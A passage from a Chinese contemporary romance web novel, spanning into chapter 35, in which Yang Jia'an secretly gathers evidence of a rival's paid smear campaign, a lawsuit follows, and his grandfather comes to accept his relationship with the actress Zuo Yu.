“当然是真的，我朋友跟我说过这事，后面因为结算的事，我朋友还跟她闹掰了。”陶然上班的地方是一家传媒公司，认识一些营销方面的朋友，“其实我在想，会不会你的那些谣言也是她搞的鬼。”
“许玖的那事，你有证据吗？”
“我手上只有间接的证据，你想干什么？要锤她吗？我觉得这事咱还是别出头了，本质上跟我们没关系，别到时候惹了自己一身骚。”
左榆若有所思，“嗯，不说他们了，咱们吃饭。”
“嗯，哎，你是不知道，我那个领导，真的太烦人了……”
……
吃完饭，陶然送左榆到停车场，杨嘉安已经在那儿等着她了。
回去的路上，左榆思考了许久，还是将陶然说的那件事告诉了杨嘉安。
“这是别人的事，咱们不管。”杨嘉安抚了抚左榆的头，一副事不关己的态度，左榆也就没有再说什么。
在海市待了三天后，左榆被楠姐叫了回去，她的一些工作开始慢慢恢复正常，没有时间继续休息。
左榆前脚离开，杨嘉安后脚就找上了陶然，他将陶然约在一家自己常去的餐厅。
陶然很是意外，怎么都想不通杨嘉安是出于什么目的。
“陶小姐你好。”
不算停车场那次的话，这是陶然第二次跟杨嘉安见面。
“你好，不知道你约我过来是有什么事？”
“小鱼跟我提过一件事，我还是想来找你问个仔细。”
“你是说许玖和林毓敏那事？”陶然很聪明，毕竟杨嘉安和许玖之前也一起上过几次热搜，像她这样的媒体人，一定要具有敏锐的互联网嗅觉，只是，她还没想到，杨嘉安为什么要背着左榆找她。
“是的。如果你能提供一些证据，我会给你们一笔丰厚的报酬，并且绝对不会影响你和你朋友的工作。”
“这事不是不行，我只是有一点想不通，你想要这些证据是出于什么目的，或者说，你为什么不让小鱼来找我要？你是为了帮别的女人？”陶然的话不是非常直白，但她觉得杨嘉安肯定是能听懂。
“你放心，我肯定不会做什么对不起小鱼的事，你跟她是好朋友，我要真是为了别的女人，自然就不可能找你。我知道网上那些关于小鱼的谣言是谁操作的，但是我没有证据，所以我需要一些证据。至于我为什么不让小鱼找你，是因为我不希望这件事对她有任何影响。这件事如果通过她的话，即使她什么都不做，但还是会有心理压力，所以我希望她跟这件事一点关系都没有。”
杨嘉安的话说服了陶然，两人的合作最后达成了一致。
在话题聊得差不多，两人准备道别时，秦晖突然出现在餐厅。
“你家那位女明星前脚刚走，你就在这里跟其他不知名的女人会面啊？”秦晖一开口就是损杨嘉安。
“你没事吧，我是小鱼的朋友。”陶然比杨嘉安先开口，“还有，我有名字，不是不知名。”
秦晖愣了一下，玩味地看着陶然，笑问：“你是不是不认识我？”
陶然看了秦晖一眼，冷哼了一声。“我先走了。”
“喂……你……”吃了瘪的秦晖气得话都说不利索。<
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p>“我也走了，你自己慢慢吃吧。”
“你别走啊，我有事跟你说。”秦晖一把将杨嘉安拉回座位上，“你几天没去诺辉上班了？”
“嗯，以后也不打算去了。”
“真的假的？我听说诺辉那边出了点事。”秦晖注视着杨嘉安，想看看他听完后有什么反应，哪知他一丝反应都没有，脑中闪现一个念头，“这不会是你计划的一环吧？”
杨嘉安拿起面前的杯子，默默喝了一口水，“你想多了，我能有什么计划。”
“真的？”秦晖并不是很相信他的这句话。
“当然。”杨嘉安依旧一副不在意的神态，“你慢慢吃吧，我吃饱了。”
看着杨嘉安离开的背影，秦晖总感觉事情不太对。
…………
程老爷子的别墅。
“老爷子，小杨总不回诺辉真的不行呀。”
一位负责诺辉技术部的高层正苦口婆心地劝着程老爷子。
“有什么不行的，还没听说地球少了谁会不转的。”程老爷子一想到杨嘉安上次离家时的情景，心中就充满怒火。
“是，地球缺了谁都会转，但我们诺辉这边新开发的程序，没有小杨总是真不行啊！整个内容一直都是小杨总在负责，现在程序出漏洞，没他真的不行。”
“荒唐！诺辉有那么多优秀员工，偏只有他能解决问题？”
“事实的确是这样的，小杨总这几天不在，我们的开发进度已经严重落后了。程老爷子，你是不是对小杨总的实力有什么误解，他是T大的高材生，拔尖的人才，不是随随便便一个工程师能比得上的。”
“他……就这么重要？”听完负责人的话，程老爷子有些迟疑，一直以来，他认为是自己给了杨嘉安管理诺辉的机会，却从来没想过杨嘉安对于诺辉来说是这么重要的存在。
“必要是十分重要的，就算我们这次新开发的程序不是由小杨总负责的，像小杨总这样的人才，哪个同行公司不想要？他要是去了别的公司，那妥妥就是我们的强劲对手。老爷子，您还是劝劝小杨总，让他早点回来吧。”
“行了，我知道了，你先回去吧。”程老爷子说完自顾进了书房。
客人走后，程老夫人切了一盘水果进书房。
“话都说到这里了，让孩子回来吧。”程老夫人将盘子放在书案上。
“可笑，是他自己不愿意回来。”程老爷子的心已经开始摇摆，只是不愿拉下脸承认。
“我瞧着那姑娘挺好的，不像是在娱乐圈乱来的人。”
“你懂什么？”
“是，我什么都不懂，但是我不会戴着有色眼镜去看别人，更不会在丝毫不了解的情况下就断定别人不是好人。人越老，脾气还越倔了，我懒得管你们。”程老夫人说完，生气离开了书房，还带走了放在书案上的水果。
程老爷子在书房里独坐了一下午。
晚上吃完饭时，见夫人的脸上还带着怒意，程老爷子装作不经意地说了一句：“让嘉安有空的时候带那姑娘回来吃餐饭吧。”
原本板着脸老夫人听罢，立即眉开眼笑，笑道：“怎么，别人怎么劝都不管事，你自己想通了？”
“吃饭，食不言寝不语。”
35. 第 35 章
“好的，我有空的时候就回去看你们，嗯。”
在秦晖的办公室里，杨嘉安刚挂掉电话，秦晖就凑上来问道：“你外公打电话来请你回去了？”
“没有，是我外婆，她叫我带左榆回去吃饭。”杨嘉安收起手机，表情并没有十分欣喜，更像是运筹帷幄，了然于胸的神态。
“哟，那就是说你外公接受左榆喽？不得不说，真有你的。”秦晖说罢，给杨嘉安沏了一杯茶，“你果然还是我的偶像，你这盘棋下了挺久吧？”
杨嘉安没有回答，但他等这一天确实等了很久，之前的日子，他没日没夜地参与开发程序并且把我核心内容，为的就是将选择权握在自己手里。
“我很好奇，如果你外公还是不同意你们的话，你真的会弃诺辉于不顾吗？”秦晖见杨嘉安不回答，又问了一句。
“当然不会。”杨嘉安云淡风轻回了一句，拿起茶杯，细细品尝了一口。诺辉是他外公打下的江山，他就算要离开诺辉，也不会给诺辉挖这么大一个坑。他布下这个局无非是想让外公明白一点，那就是他并非诺辉的附属，离开诺辉，他也能有自己的作为，而诺辉失去他，也是会有很大的损失。
“既然有这么值得让人开心的事，今晚请客？”秦晖说。
“我找你还有其他的事，看你能不能帮忙。”杨嘉安这才说起他的目的，他来秦晖的办公室找他，是为了让他帮忙查林毓敏请水军的事。这几天，他已经用尽了自己的资源，手上也有了一些详尽的证据，但对于营销这种事，他心里还是没谱。
“你不会真想帮许玖出头吧？”
“你想多了，我只是想收集更多的证据而已。而且，这件事不需要我动手，我直接把证据给许伯伯就行了。”
“老奸巨猾。”
“我晚上跟小鱼的朋友约了饭，她还会给我一些资料，你还是自己吃吧。”
“小鱼朋友？就是上次在餐厅碰到的那个？”秦晖却莫名有些兴奋起来。
“是。”
“那我跟你一起去，既然你找我帮忙，那我肯定要做得好，多了解一些你们的进度对掌握全局也有帮助。”秦晖乐呵呵地又给杨嘉安沏了杯茶。
杨嘉安冷哼一声，“你打的什么算盘，我能不知道？不过我必须要提醒你，陶然跟你之前认识的那些女人不一样，如果你想玩玩而已，我建议你还是另找他人，别耽误了别人。”
“谁说我是玩玩而已？”秦晖一脸不服气，嘴角却是上扬的。
杨嘉安摇头笑了笑，没有再说下去。
两个月后。
左榆恢复正常工作后，行程变得密集了不少，这本是好事，但也因此与杨嘉安见面的机会变少了。整整两个月的时间，他们都没机会见面，只能通过打电话来聊以慰藉彼此的思念。
这两天，左榆在参加一个节目的录制，原本还想给杨嘉安打个电话聊聊天，但因为结束得太晚还是作罢了。洗漱完，她准备休息时，小朵却拿着手机兴冲冲地来敲门。
“姐，你睡了吗？”
“什么事这么兴奋？”左榆打开门，见小朵满脸兴奋，疑惑道。
“你看热搜。”小朵将手机递给左榆后，自顾进了屋，又关好房门。
在热搜前排的位置，左榆一眼就看到了“许玖将起诉诺辉市场总监”，没点进去看之前，她心里很是疑惑，按理说凭许家跟程老爷子的关系，两边不至于出现这种事情。点进词条里浏览了一下热门微博，大概明白了，这不是许玖跟诺辉之间的矛盾，而是许玖跟林毓敏的矛盾。
许玖要起诉的人是林毓敏，左榆猜想估计跟陶然之前说的那件事有关，想到这，她给陶然发了条微信。
【小鱼干儿：这事跟你没关系吧？】
陶然还没有睡觉，秒回。
【桃子不小：也不能说全然没关系，但关系不大。】
【小鱼干儿：不会影响你的工作吧？】
【桃子不小：当然不会。】
【小鱼干儿：那就好。】
知道这事不影响陶然，左榆也放下心来，又浏览了几条微博，大致就是林毓敏请了专业人员在网上刻意抹黑许玖，如今遭到了许玖的起诉。在娱乐圈，这种铺通稿抹黑艺人的事其实很常见，更多时候都是不了了之，无从追责，但林毓敏这次遇上的是许玖，不是像左榆这种没有背景的小鱼小虾，她算是踢到铁板了。
【桃子不小：你家小杨总就一点都没跟你提过这事？】
陶然突然又发了条微信过来，左
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榆一脸懵，她记得她之前跟杨嘉安说起这事时，杨嘉安说这事跟他们无关，让她不要管。
【小鱼干儿：没有啊，难道他也跟这事有关？不会吧。】
【桃子不小：闭嘴.jpg】
陶然的反应让左榆产生一丝疑虑，就在她犹豫要不要问问杨嘉安时，先收到了杨嘉安的微信。
【Y：睡了吗？】
【小鱼干儿：还没呢，你有看热搜吗？林毓敏的那个。】
【Y：嗯。】
【小鱼干儿：这事跟你没关系吧？刚刚陶然问我，你有没有跟我提过这事。】
杨嘉安迟迟没有回答左榆的问题。
十分钟后，杨嘉安给左榆打了电话过来。
左榆：“怎么突然又打电话？”
杨嘉安：“林毓敏那件事，如果我说我有参与过，你会对我失望吗？你会觉得我是一个狠心无情的人吗？”
左榆顿时明白了杨嘉安的顾虑，他大概是在想，他毕竟在学生时代喜欢过林毓敏，而如今却联合其他人一起来起诉她，怕左榆觉得他过于不讲情义。
“当然不会。”左榆回答，“如果真像网上披露的那样，林毓敏做了错事就应该受到惩罚，当年我爸做的那些事，我妈从来没有想过要包庇他，但我从来不认为我妈妈是无情无义的人，她是爱我爸的，但是这并不能成为包庇错误的理由。”
听到左榆这么说，杨嘉安舒了口气，“你怎么这么好啊？”他宠溺道。
突然的夸奖让左榆有些不好意思。
“你什么时候能休息，外婆两个月前就叫我带你回家吃饭。我看你一直没时间，就没跟你说。”
“回家？你外公不是……”
“我说过，不会让你等太久的。”
左榆明白了杨嘉安话里的意思。这是一种什么感觉呢？就好像走过寒冷的冬天，在某个夜晚闻到了春天的气息，又好像玩了很久都没过关的游戏关卡突然过关了，总之，生活里又多了一些确幸，对于未来多了一些期待。
“还有一件事，我觉得有必要让你知道。”杨嘉安继续说道。
“什么事？”
“秦晖，好像看上陶然了。”
“啊？”
……